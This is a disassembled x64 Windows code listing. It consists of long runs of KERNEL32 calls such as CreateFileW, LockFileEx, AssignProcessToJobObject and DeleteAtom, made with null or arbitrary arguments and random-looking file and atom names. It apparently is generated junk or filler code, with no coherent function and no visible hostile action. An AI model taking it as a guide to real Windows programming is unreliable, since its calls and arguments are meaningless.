call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf50], ax
mov rax, qword [rsp + 0x8cf8]
mov rcx, qword [rsp + 0x98b8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9b50], rax
lea rax, [rsp + 0x1050]
mov qword [rsp + 0x9d18], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9d20], rax
lea rdx, [rsp + 0x9278]
mov rcx, qword [rsp + 0x9830]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4990], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x9d28], rax
mov rax, qword [rsp + 0x9538]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4074]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4290], eax
mov rax, qword [0x14024f380]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9a38]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1a3], al
movzx ecx, word [rsp + 0xfd0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1028], ax
lea rax, [rsp + 0xf90]
mov qword [rsp + 0x9d30], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov edx, 0x644
mov rcx, qword [rsp + 0x9ad8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a68], eax
mov dword [rsp + 0x20], 0x3930
mov r9d, 0x161e
mov r8d, 0x3606
mov edx, 0x29f
mov rcx, qword [rsp + 0x9cd8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4844], eax
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x1f800]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x48f4], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9d38], rax
mov eax, dword [rsp + 0x49d8]
movzx ecx, al
mov eax, dword [rsp + 0x4120]
sar eax, cl
mov rcx, qword [rsp + 0x9848]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
lea rax, [rsp + 0x153]
mov qword [rsp + 0x9d40], rax
mov rcx, qword [rsp + 0x9990]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0xfac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfec], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.hK2SQb1bjy1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9d48], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9648], rax
mov rcx, qword [rsp + 0x99f8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x7b18]
mov rcx, qword [rsp + 0x95f8]
mov qword [rsp + 0x9d50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9d50]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x99b8], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
lea rcx, str.CE_h6_9HUrAY
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1094], ax
mov edx, 0x12ea
mov rcx, qword [rsp + 0x9c40]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x497c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea rdx, [rsp + 0x9b20]
mov rcx, qword [rsp + 0x8f08]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a6c], eax
mov dword [rsp + 0x20], 0x2a9c
mov r9d, 0x1b93
mov r8d, 0x2c98
mov edx, 0x16fd
mov rcx, qword [rsp + 0x8f08]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4888], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0x9530]
movzx eax, word [rax]
mov word [rsp + 0x1098], ax
mov rax, qword [0x14024f368]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4440]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x14024f328]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1e0c
mov r9d, 0x2bba
mov r8d, 0x68c667fb
mov edx, 1
mov rcx, qword [rsp + 0x9770]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4958], eax
mov rax, qword [rsp + 0x95b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x270]
xor eax, ecx
mov byte [rsp + 0x276], al
mov rax, qword [rsp + 0x9a48]
mov rcx, qword [rsp + 0x9888]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x95e0], rax
mov rax, qword [rsp + 0x9578]
mov rax, qword [rax]
mov qword [rsp + 0x9d58], rax
movzx ecx, word [rsp + 0x1064]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf24], ax
mov rax, qword [rsp + 0x9d30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe6c]
add eax, ecx
mov word [rsp + 0x9a0], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.XSqcFdEw5Uq
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9d60], rax
mov rax, qword [rsp + 0x99d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16a]
add eax, ecx
mov byte [rsp + 0xb2], al
mov rcx, qword [rsp + 0x9b60]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3dd0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c00]
mov dword [rcx], eax
movzx eax, word [rsp + 0xb9c]
movzx ecx, word [rsp + 0x600]
sub eax, ecx
mov rcx, qword [rsp + 0x9530]
mov word [rcx], ax
movzx ecx, word [rsp + 0xf68]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1024], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9d68], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov r9d, 0x1e9b
xor r8d, r8d
lea rdx, [rsp + 0x9750]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a14], eax
lea rax, [rsp + 0x274]
mov qword [rsp + 0x9d70], rax
mov rax, qword [rsp + 0x93b8]
mov rcx, qword [rsp + 0x8e10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14024f3a4], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [rsp + 0x9578]
mov rcx, qword [rsp + 0x9688]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0x8110], rax
lea rax, [0x14022fb60]
mov qword [rsp + 0x9d78], rax
movzx eax, byte [rsp + 0x86]
mov rcx, qword [rsp + 0x9a68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x276], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x16a]
mov rcx, qword [rsp + 0x9160]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x154], al
mov rcx, qword [rsp + 0x98e0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x48f8]
mov qword [rsp + 0x9d80], rax
mov rax, qword [rsp + 0x8850]
mov rcx, qword [rsp + 0x8b08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x99b8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x331a
mov r9d, 0x874
mov r8d, 0x4580c9c7
mov edx, 2
mov rcx, qword [rsp + 0x97c0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4944], eax
lea rcx, [rsp + 0x1a588]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9d88], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
lea rax, [rsp + 0x105c]
mov qword [rsp + 0x9d90], rax
mov edx, 0x1c2f
mov rcx, qword [rsp + 0x9668]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4938], eax
mov eax, dword [0x14024f350]
mov dword [rsp + 0x49a4], eax
movzx eax, byte [rsp + 0x289]
movzx ecx, byte [rsp + 0x1d3]
add eax, ecx
mov byte [0x14022103e], al
movzx ecx, word [rsp + 0xf7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x109c], ax
lea rax, [rsp + 0x4770]
mov qword [rsp + 0x9d98], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x97f8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9da0], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x1ffe0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4940], eax
lea rcx, [rsp + 0x9ba0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0xfb0]
mov rcx, qword [rsp + 0x98f0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8e58]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.P8RXadrs6o48TJgASVm5z
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9da8], rax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x20220]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x492c], eax
lea rdx, [rsp + 0x9db0]
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4954], eax
mov rax, qword [rsp + 0x9858]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe34]
xor eax, ecx
mov word [rsp + 0xfb8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
movzx ecx, word [rsp + 0xf8c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x106c], ax
lea rax, [rsp + 0x27c]
mov qword [rsp + 0x9db8], rax
lea rdx, [rsp + 0x8ee8]
mov rcx, qword [rsp + 0x8c98]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a70], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9500], rax
movzx ecx, word [rsp + 0xf7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf50], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.zwOi5zLyD56YbD2LBaCQb
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9dc0], rax
xor r9d, r9d
lea r8, [rsp + 0x96f0]
mov rdx, qword [rsp + 0x9c10]
mov rcx, qword [rsp + 0x9798]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4944], eax
lea rcx, [rsp + 0x9dc8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movsx eax, word [rsp + 0x1090]
movsx ecx, word [0x14024f3bc]
or eax, ecx
mov word [rsp + 0x9a0], ax
mov rcx, qword [rsp + 0x8f68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4a44], eax
lea rax, [rsp + 0x48b4]
mov qword [rsp + 0x9dd0], rax
movzx eax, word [rsp + 0xff0]
mov rcx, qword [rsp + 0x93e8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x108c], ax
movzx eax, byte [rsp + 0x26a]
mov rcx, qword [rsp + 0x9d70]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x9a70]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
lea rcx, [rsp + 0x9c90]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9880], rax
mov rcx, qword [rsp + 0x9580]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x4948]
mov dword [0x14024f2d8], eax
lea rdx, [rsp + 0x9dd8]
mov rcx, qword [rsp + 0x97e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x48f0], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x425
mov r8d, 0x3064
mov edx, 0xec
mov rcx, qword [rsp + 0x8d08]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x49d0], eax
lea rdx, [rsp + 0x9de0]
mov rcx, qword [rsp + 0x9dc0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x482c], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea rcx, str.VNWz_EQQ.JpEFZPbnIF
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1054], ax
mov edx, 0x1540
mov rcx, qword [rsp + 0x9938]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a74], eax
lea rcx, [rsp + 0x1a5b8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
lea rcx, [rsp + 0x9810]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x9b50]
mov qword [rsp + 0x9de8], rax
mov edx, 0x10d9
mov rcx, qword [rsp + 0x96b0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a78], eax
mov rax, qword [rsp + 0x9af8]
mov rcx, qword [0x14024f3c0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9d78]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x9938]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x98c0]
mov rax, qword [rax]
mov qword [rsp + 0x9df0], rax
mov rax, qword [rsp + 0x9780]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x8f20]
mov word [rcx], ax
mov rax, qword [rsp + 0x8650]
mov rcx, qword [rsp + 0x9970]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a08], rax
movsx eax, byte [rsp + 0x1cf]
movsx ecx, byte [rsp + 0xb2]
sub eax, ecx
mov byte [rsp + 0x261], al
movzx ecx, word [rsp + 0x1044]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1048], ax
mov rax, qword [rsp + 0x9980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe44]
sub eax, ecx
mov rcx, qword [rsp + 0x9170]
mov word [rcx], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x16e5
mov r9d, 0x3347
mov r8d, 0xc8f07b48
mov edx, 2
mov rcx, qword [rsp + 0x9bb8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4a7c], eax
mov rcx, qword [rsp + 0x99d0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov eax, dword [0x14022fb5c]
mov dword [rsp + 0x4a80], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9918], rax
mov rax, qword [rsp + 0x9d98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4670]
add ecx, eax
mov eax, ecx
mov dword [0x14022fb74], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9a38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x276]
sub eax, ecx
mov byte [rsp + 0x14c], al
movzx ecx, word [rsp + 0xf14]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x102c], ax
mov rax, qword [rsp + 0x9c80]
mov eax, dword [rax]
mov ecx, dword [0x14024f31c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a28], eax
mov rcx, qword [rsp + 0x8f70]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x9758]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0xf3c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1070], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0xfb0]
mov qword [rsp + 0x9df8], rax
lea rdx, [rsp + 0x9bf0]
mov rcx, qword [rsp + 0x9800]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4990], eax
mov rax, qword [rsp + 0x9a68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c20]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x257], al
lea rax, [rsp + 0x154]
mov qword [rsp + 0x9e00], rax
mov rax, qword [rsp + 0x93c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9a60]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9870]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ae0], rax
mov eax, dword [rsp + 0x491c]
mov dword [rsp + 0x4a84], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9e08], rax
mov rax, qword [rsp + 0x99f0]
mov rcx, qword [rsp + 0x95e0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9af8]
mov qword [rcx], rax
movzx ecx, word [rsp + 0xf24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfcc], ax
lea rcx, [rsp + 0x1a3a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x26f]
mov qword [0x14024f2d0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
lea r8, [rsp + 0x9c10]
mov rdx, qword [rsp + 0x9ba0]
mov rcx, qword [rsp + 0x9788]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a38], eax
mov rax, qword [rsp + 0x96c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9b8]
add eax, ecx
mov word [rsp + 0x1088], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x4750]
mov ecx, dword [0x14024f350]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4594], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
lea rdx, [rsp + 0x9b20]
mov rcx, qword [rsp + 0x97e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x49a0], eax
mov rax, qword [rsp + 0x8f10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9970]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x95c8]
mov qword [rcx], rax
lea rcx, [rsp + 0x1a648]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
lea rax, [rsp + 0x8120]
mov qword [rsp + 0x9e10], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14022fb5c]
sar eax, cl
mov dword [rsp + 0x44d8], eax
mov rcx, qword [rsp + 0x9890]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0xef0]
movsx ecx, word [rsp + 0x1084]
shl eax, cl
mov rcx, qword [rsp + 0x9870]
mov word [rcx], ax
mov rax, qword [rsp + 0x9988]
movzx eax, byte [rax]
mov byte [rsp + 0x28a], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov eax, dword [rsp + 0x43a8]
mov ecx, dword [rsp + 0x4654]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9a10]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.Jyyb6WyNUoHfrxF_b2ZmbBDoqg
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9e18], rax
movzx eax, byte [rsp + 0x27e]
imul eax, eax, 0x6d
mov byte [0x140221038], al
movzx eax, word [0x14024f302]
movzx ecx, word [rsp + 0xdac]
add eax, ecx
mov word [rsp + 0x910], ax
mov rax, qword [rsp + 0x9608]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x80e0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9548]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x8cd8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rdx, [rsp + 0x9000]
mov rcx, qword [rsp + 0x99e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a00], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9e20], rax
mov rax, qword [rsp + 0x8d38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9010]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9718], rax
movzx ecx, word [rsp + 0x104c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10a0], ax
mov eax, dword [rsp + 0x4228]
mov dword [rsp + 0x4a88], eax
mov rax, qword [rsp + 0x9db8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x275]
add eax, ecx
mov byte [rsp + 0x271], al
movzx ecx, word [rsp + 0x106c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf3c], ax
movsx eax, word [rsp + 0xe44]
movsx ecx, word [rsp + 0xf48]
sub eax, ecx
mov word [rsp + 0x940], ax
mov rax, qword [rsp + 0x9a20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4268]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4864], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0x9530]
movzx eax, word [rax]
mov word [rsp + 0x10a4], ax
mov rax, qword [0x14024f2d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e78]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14024f2d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9de8]
mov rcx, qword [rsp + 0x9af0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9aa0], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0x9708]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8650]
shl rax, cl
mov qword [rsp + 0x99b8], rax
lea rcx, [rsp + 0x1a678]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, str.J1sBHNuNaQYA_Y4w
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x103c], ax
mov rax, qword [rsp + 0x8e68]
movzx eax, word [rax]
mov word [rsp + 0x10a8], ax
movzx eax, byte [rsp + 0x274]
mov rcx, qword [rsp + 0x9640]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x26a], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
lea rax, [rsp + 0x4890]
mov qword [rsp + 0x9e28], rax
mov rax, qword [rsp + 0x9c78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9940]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1068], ax
mov rax, qword [rsp + 0x9d40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x25a]
xor eax, ecx
mov byte [rsp + 0x272], al
mov rcx, qword [rsp + 0x9668]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x14024f310]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4968]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x43dc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rax, qword [rsp + 0x9d70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9a68]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14022103f], al
lea rcx, str.We21Vh7aAq410pMK.DMP
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x10ac], ax
movzx eax, word [rsp + 0x1088]
mov rcx, qword [0x14024f2f8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xfb0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov r9d, 1
lea r8, [rsp + 0x9278]
mov rdx, qword [rsp + 0x8f90]
mov rcx, qword [rsp + 0x9be8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4704], eax
mov rax, qword [rsp + 0x9ac8]
mov eax, dword [rax]
mov dword [rsp + 0x4a8c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rax, qword [rsp + 0x7af8]
mov rcx, qword [rsp + 0x94f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c98], rax
mov rax, qword [rsp + 0x9690]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8918]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7ed0], rax
